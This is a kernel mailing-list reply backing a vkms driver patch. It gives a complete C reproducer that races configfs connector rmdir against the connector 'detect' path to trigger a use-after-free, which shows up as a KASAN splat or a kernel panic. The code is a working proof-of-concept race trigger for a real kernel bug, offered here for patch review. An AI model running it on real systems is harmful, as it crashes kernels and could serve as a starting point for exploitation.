From: Ibrahim Hashimov <security@auditcode.ai>
To: louis.chauvet@bootlin.com
Cc: hamohammed.sa@gmail.com, simona@ffwll.ch, melissa.srw@gmail.com,
mripard@kernel.org, dri-devel@lists.freedesktop.org,
linux-kernel@vger.kernel.org
Subject: Re: [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect
Date: Wed, 22 Jul 2026 20:42:41 +0200 [thread overview]
Message-ID: <20260722184357.40904-1-security@auditcode.ai> (raw)
In-Reply-To: <3adb0a99-95c0-41dd-a701-efaff37e74b5@bootlin.com>
Here's the reproducer, inline.
gcc -O2 -o vkms_uaf vkms_connector_uaf.c
modprobe vkms
mount -t configfs none /sys/kernel/config # if not already mounted
./vkms_uaf exploit # concurrent -> UAF on an unpatched KASAN build
./vkms_uaf control # sequential -> same work, stays clean
It builds a vkms device with a batch of connectors, keeps writing "detect"
to one connector's status (which walks the whole config->connectors list)
while rmdir'ing the other connectors out from under that walk. On an
unpatched KASAN + DEBUG_LIST build it splats slab-use-after-free in
vkms_connector_detect fairly quickly here (a couple of minutes on a 2-CPU
guest). The control run does the identical work sequentially, so the only
variable is the concurrency.
Needs CONFIG_DRM_VKMS=m, CONFIG_CONFIGFS_FS=y, and ideally CONFIG_KASAN=y +
CONFIG_DEBUG_LIST=y to see the splat; run it as root (configfs is root-only).
---8<--- vkms_connector_uaf.c ---8<---
// vkms: configfs connector rmdir vs vkms_connector_detect UAF race
//
// Bug (v6.19, gpu/drm/vkms):
// connector_release() (vkms_configfs.c:568-580) --rmdir of a connector cfgfs dir-->
// scoped_guard(mutex, &dev->lock){ vkms_config_destroy_connector(cfg); kfree(connector); }
// vkms_config_destroy_connector (vkms_config.c:608-613): list_del(&cfg->link); kfree(cfg);
// vkms_connector_detect() (vkms_connector.c:11-34) iterates the SAME live
// config->connectors list with vkms_config_for_each_connector == plain
// list_for_each_entry (vkms_config.h:152-153), holding NO lock (not dev->lock,
// not RCU). detect is reachable by writing "detect" to
// /sys/class/drm/<card-conn>/status (drm_sysfs.c status_store -> fill_modes
// -> drm_helper_probe_single_connector_modes -> .detect).
// => the unlocked list walk in detect races the locked list_del+kfree in
// connector_release on the same object -> CWE-362 -> CWE-416 UAF read
// (and/or CONFIG_DEBUG_LIST __list_del_entry corruption splat).
//
// The mutating (rmdir) side needs root (configfs is root-owned 0755); attacker
// model per the finding is local root / CAP_SYS_ADMIN. We run as root in the VM.
//
// CONTROL vs EXPLOIT: the ONLY differential is concurrency.
// EXPLOIT : detect-hammer child runs CONCURRENTLY with the rmdir loop (fork).
// CONTROL : the SAME detect-hammer and the SAME rmdir loop run SEQUENTIALLY
// (hammer finishes, then rmdir) -> the iterator never overlaps the
// locked list_del+kfree -> no UAF.
//
// Oracle = kasan: a win aborts the guest with a KASAN slab-use-after-free (or a
// DEBUG_LIST/list_del corruption) splat in vkms_connector_detect / __list_*.
// Userspace cannot observe the win (the kernel panics via panic_on_warn before
// the racing syscall returns), so the splat in the console log IS the proof.
// A miss just loops until the deadline and exits 0 (not a failure).
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdint.h>
#include <time.h>
#include <signal.h>
#include <sys/syscall.h>
#define VBASE "/sys/kernel/config/vkms"
#define DRMDIR "/sys/class/drm"
#define DEVNAME "r"
#define DEVDIR VBASE "/" DEVNAME
#define NCONN 31
/* pin the calling task to a single CPU so the detect-walk and the rmdir free
* run on different cores for a real, wide overlap window (smp>=2). */
static void pin_cpu(int cpu)
{
unsigned long mask = 1UL << cpu;
syscall(SYS_sched_setaffinity, 0, sizeof(mask), &mask);
}
static int wfile(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
ssize_t n = write(fd, val, strlen(val));
int e = errno;
close(fd);
if (n < 0) { errno = e; return -1; }
return 0;
}
/* build a fresh, minimally-valid vkms device 'r' with NCONN connectors.
* layout that passes vkms_config_is_valid():
* 1 primary plane (type=1) with possible_crtcs -> c0
* 1 crtc c0
* 1 encoder e0 with possible_crtcs -> c0
* NCONN connectors n0..n{NCONN-1} each possible_encoders -> e0
*/
static int build_device(void)
{
char p[512], tgt[512];
if (mkdir(DEVDIR, 0755) < 0 && errno != EEXIST) return -1;
if (mkdir(DEVDIR "/planes/p0", 0755) < 0 && errno != EEXIST) return -1;
if (wfile(DEVDIR "/planes/p0/type", "1") < 0) return -1; /* PRIMARY */
if (mkdir(DEVDIR "/crtcs/c0", 0755) < 0 && errno != EEXIST) return -1;
if (mkdir(DEVDIR "/encoders/e0", 0755) < 0 && errno != EEXIST) return -1;
/* plane possible_crtcs -> c0 */
snprintf(tgt, sizeof tgt, DEVDIR "/crtcs/c0");
if (symlink(tgt, DEVDIR "/planes/p0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;
/* encoder possible_crtcs -> c0 */
if (symlink(tgt, DEVDIR "/encoders/e0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;
/* connectors, each possible_encoders -> e0 */
snprintf(tgt, sizeof tgt, DEVDIR "/encoders/e0");
for (int i = 0; i < NCONN; i++) {
snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
if (mkdir(p, 0755) < 0 && errno != EEXIST) return -1;
snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
if (symlink(tgt, p) < 0 && errno != EEXIST) return -1;
}
return 0;
}
static int enable_device(void)
{
return wfile(DEVDIR "/enabled", "1");
}
/* best-effort teardown; ignores errors (exploit already removed some connectors) */
static void teardown_device(void)
{
char p[512];
wfile(DEVDIR "/enabled", "0");
for (int i = 0; i < NCONN; i++) {
snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i); unlink(p);
snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i); rmdir(p);
}
unlink(DEVDIR "/encoders/e0/possible_crtcs/l"); rmdir(DEVDIR "/encoders/e0");
unlink(DEVDIR "/planes/p0/possible_crtcs/l"); rmdir(DEVDIR "/planes/p0");
rmdir(DEVDIR "/crtcs/c0");
rmdir(DEVDIR);
}
/* connector sysfs names contain a '-' (e.g. "card1-Virtual-1"); plain cards
* ("card1") do not. snapshot the set of connector dirs. */
#define MAXSNAP 512
static char snap[MAXSNAP][80];
static int nsnap;
static void snapshot(void)
{
nsnap = 0;
DIR *d = opendir(DRMDIR);
if (!d) return;
struct dirent *e;
while ((e = readdir(d)) && nsnap < MAXSNAP) {
if (strchr(e->d_name, '-') && strncmp(e->d_name, "card", 4) == 0)
snprintf(snap[nsnap++], 80, "%s", e->d_name);
}
closedir(d);
}
static int in_snap(const char *name)
{
for (int i = 0; i < nsnap; i++)
if (strcmp(snap[i], name) == 0)
return 1;
return 0;
}
/* find a connector-status path that appeared since snapshot() */
static int find_new_status(char *out, size_t outlen)
{
DIR *d = opendir(DRMDIR);
if (!d) return -1;
struct dirent *e;
int found = -1;
while ((e = readdir(d))) {
if (!strchr(e->d_name, '-') || strncmp(e->d_name, "card", 4) != 0)
continue;
if (in_snap(e->d_name))
continue;
char cand[512];
snprintf(cand, sizeof cand, DRMDIR "/%s/status", e->d_name);
if (access(cand, W_OK) == 0) {
snprintf(out, outlen, "%s", cand);
found = 0;
break;
}
}
closedir(d);
return found;
}
/* tight detect-reprobe loop on one connector status file; whole config list is
* walked on every write regardless of which connector we poke. */
static void hammer_detect(const char *status, volatile int *stop, int budget)
{
int fd = open(status, O_WRONLY);
if (fd < 0)
return;
long i = 0;
while (1) {
if (stop && *stop) break;
if (budget && i >= budget) break;
lseek(fd, 0, SEEK_SET);
if (write(fd, "detect", 6) < 0) {
/* connector may disappear on device destroy; keep going */
}
i++;
}
close(fd);
}
/* rmdir connectors n1..n{NCONN-1} as fast as possible (n0 kept as a stable
* probe target). each rmdir triggers connector_release -> list_del + kfree. */
static void rmdir_connectors(void)
{
char p[512];
for (int i = 1; i < NCONN; i++) {
snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
unlink(p);
snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
rmdir(p);
}
}
int main(int argc, char **argv)
{
int concurrent = (argc > 1 && strcmp(argv[1], "exploit") == 0);
const char *mode = concurrent ? "exploit" : "control";
setvbuf(stdout, NULL, _IONBF, 0);
/* one validated round first: if we cannot even build+enable, it is a real
* setup failure -> exit 3 so run.sh surfaces SETUP-FAIL. */
teardown_device();
if (build_device() < 0) {
printf("SETUP-FAIL build_device errno=%d (%s)\n", errno, strerror(errno));
return 3;
}
snapshot();
if (enable_device() < 0) {
printf("SETUP-FAIL enable errno=%d (%s)\n", errno, strerror(errno));
teardown_device();
return 3;
}
char status[512];
if (find_new_status(status, sizeof status) < 0) {
printf("SETUP-FAIL no new connector status file after enable\n");
teardown_device();
return 3;
}
printf("[%s] setup OK, probe=%s NCONN=%d\n", mode, status, NCONN);
teardown_device();
int secs = concurrent ? 175 : 10;
time_t deadline = time(NULL) + secs;
long iter = 0;
while (time(NULL) < deadline) {
teardown_device();
if (build_device() < 0) { teardown_device(); continue; }
snapshot();
if (enable_device() < 0) { teardown_device(); continue; }
if (find_new_status(status, sizeof status) < 0) { teardown_device(); continue; }
if (concurrent) {
/* DIFFERENTIAL: detect walk runs CONCURRENTLY with rmdir,
* pinned to separate CPUs for a wide overlap window. */
pid_t c = fork();
if (c == 0) {
pin_cpu(0);
hammer_detect(status, NULL, 0); /* until killed */
_exit(0);
}
pin_cpu(1);
rmdir_connectors();
kill(c, SIGKILL);
waitpid(c, NULL, 0);
} else {
/* CONTROL: same work, SEQUENTIAL — no overlap, no race */
int stop = 0;
hammer_detect(status, &stop, 1500);
rmdir_connectors();
}
teardown_device();
iter++;
if (iter % 25 == 0)
printf("ITER=%ld mode=%s\n", iter, mode);
}
printf("done mode=%s iters=%ld (no splat -> miss; kasan splat, if any, is above)\n",
mode, iter);
return 0;
}
---8<---
Ibrahim
prev parent reply other threads:[~2026-07-22 18:44 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-09 15:06 [PATCH] drm/vkms: Fix UAF between connector configfs rmdir and .detect Ibrahim Hashimov
2026-07-09 19:51 ` [PATCH v2] " Ibrahim Hashimov
2026-07-22 15:56 ` Louis Chauvet
2026-07-22 18:31 ` Ibrahim Hashimov
2026-07-22 18:42 ` Ibrahim Hashimov [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20260722184357.40904-1-security@auditcode.ai \
--to=security@auditcode.ai \
--cc=dri-devel@lists.freedesktop.org \
--cc=hamohammed.sa@gmail.com \
--cc=linux-kernel@vger.kernel.org \
--cc=louis.chauvet@bootlin.com \
--cc=melissa.srw@gmail.com \
--cc=mripard@kernel.org \
--cc=simona@ffwll.ch \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox